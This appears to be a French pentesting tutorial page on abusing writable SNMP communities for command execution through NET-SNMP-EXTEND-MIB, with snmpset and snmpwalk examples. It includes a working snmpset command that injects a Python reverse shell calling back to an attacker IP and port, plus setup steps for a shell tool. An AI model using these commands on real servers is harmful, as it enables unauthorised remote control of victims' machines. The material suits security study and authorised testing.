48 lines
3.1 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
# SNMP RCE
SNMP peut être exploité par un attaquant si l'administrateur néglige sa configuration par défaut sur le dispositif ou le serveur. En **abusant de la communauté SNMP avec des permissions d'écriture (rwcommunity)** sur un système d'exploitation Linux, l'attaquant peut exécuter des commandes sur le serveur.
## Étendre les services avec des commandes supplémentaires
Pour étendre les services SNMP et ajouter des commandes supplémentaires, il est possible d'ajouter de nouvelles **lignes à la table "nsExtendObjects"**. Cela peut être réalisé en utilisant la commande `snmpset` et en fournissant les paramètres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter :
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Injection de commandes pour exécution
Injecter des commandes à exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le **`NET-SNMP-EXTEND-MIB`** impose de fournir le chemin absolu vers l'exécutable.
Pour confirmer l'exécution de la commande injectée, la commande `snmpwalk` peut être utilisée pour énumérer le service SNMP. **La sortie affichera la commande et ses détails associés**, y compris le chemin absolu :
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Exécution des Commandes Injectées
Lorsque la **commande injectée est lue, elle est exécutée**. Ce comportement est connu sous le nom de **`run-on-read()`**. L'exécution de la commande peut être observée lors de la lecture avec snmpwalk.
### Obtention d'un Shell Serveur avec SNMP
Pour prendre le contrôle du serveur et obtenir un shell serveur, un script python développé par mxrch peut être utilisé depuis [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
Alternativement, un shell inversé peut être créé manuellement en injectant une commande spécifique dans SNMP. Cette commande, déclenchée par le snmpwalk, établit une connexion de shell inversé à la machine de l'attaquant, permettant le contrôle de la machine de la victime. Vous pouvez installer les prérequis pour exécuter cela :
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
Ou un shell inversé :
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## Références
- [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{{#include ../../banners/hacktricks-training.md}}